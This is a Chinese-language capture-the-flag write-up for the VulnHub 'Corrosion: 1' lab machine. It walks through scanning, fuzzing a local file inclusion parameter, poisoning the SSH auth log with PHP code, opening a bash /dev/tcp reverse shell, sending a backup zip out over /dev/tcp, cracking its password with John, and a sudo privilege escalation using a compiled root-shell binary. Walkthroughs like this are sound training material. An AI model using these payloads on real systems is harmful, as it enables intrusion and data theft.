靶机介绍
难度:容易
对于初学者来说,这是一个简单的盒子,但不太容易。祝你好运
提示:枚举属性
虚拟机链接:https://www.vulnhub.com/entry/corrosion-1,730/
参考博客:https://nepcodex.com/2021/08/corrosion-walkthrough-vulnhub-writeup/
开始练习
本机ip:192.168.56.102
使用nmap找出靶机ip:192.168.56.111
nmap -sS -sV 192.168.56.0/24
查看开启端口及服务
nmap -A -p- 192.168.56.111
看到开启80和22端口,先使用浏览器访问发现是默认页面 ,使用drsearch找目录
dirsearch -e txt,bak,zip,img,jpg,php,html -u http://192.168.56.111 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -r
访问该页面,看到tasks_todo文件
blog-post目录
blog-post目录下有子目录
打开php文件,需要一个参数,根据提示,使用fuzzing
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/big.txt -u 'http://192.168.19.130/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0
得到了file参数,将将参数值设为日志文件目录,尝试访问日志
http://192.168.56.111/blog-post/archives/randylogs.php?file=/var/log/auth.log
尝试在ssh连接时写入php代码到日志文件中
ssh '<?php system($_GET["aaa"]); ?>'@192.168.56.111
说明日志文件会将ssh用户名作为php代码执行
尝试输入想要获取的信息值,例如uid,目录等
view-source:http://192.168.56.111/blog-post/archives/randylogs.php?file=/var/log/auth.log&aaa=id
view-source:http://192.168.56.111/blog-post/archives/randylogs.php?file=/var/log/auth.log&aaa=ls -al
确认可以利用后,写bash脚本反弹shell,现在本机监听端口
nc -nvlp 4396
在日志页写入bash脚本
bash -c 'bash -i >& /dev/tcp/192.168.56.102/4396 0>&1'
直接写入会弹不出shell,需要使用URL编码
bash%20-c%20%27bash%20-i%20>%26%20%2Fdev%2Ftcp%2F192.168.56.102%2F4396%200>%261%27
在/var/backup目录下发现可疑zip文件
在本机打开另一个监听端口用于获取文件
nc -nvlp 4397
shell处执行命令,完成传输
cat user_backup.zip > /dev/tcp/192.168.56.102/4397
发现解压需要输入密码,使用zip2john暴力破解
zip2john user.zip | tee hash
john hash --wordlist=/root/Desktop/rockyou.txt
john has --show
查看其余三个文件没有有用信息,得到用户密码,使用ssh登录,拿到用户FLAG
ssh -l randy 192.168.56.111
开始提权,先查看免root密码执行的命令
sudo -l
这个文件与之前在zip文件中的c语言程序功能相同,没有发现用处
由于不能编辑该文件,查看提示我们有权限更改二进制目录,于是编写一个c文件,使用gcc将此文件编译覆盖easysysinfo ,再次执行就可以完成提权
cat > 4396.c
#include <unistd.h>
#include <stdlib.h>
void main()
{
setuid(0);
setgid(0);
system("bash -i");
}
gcc 4396.c -o easysysinfo
sudo ./easysysinfo
在/root下拿到FLAG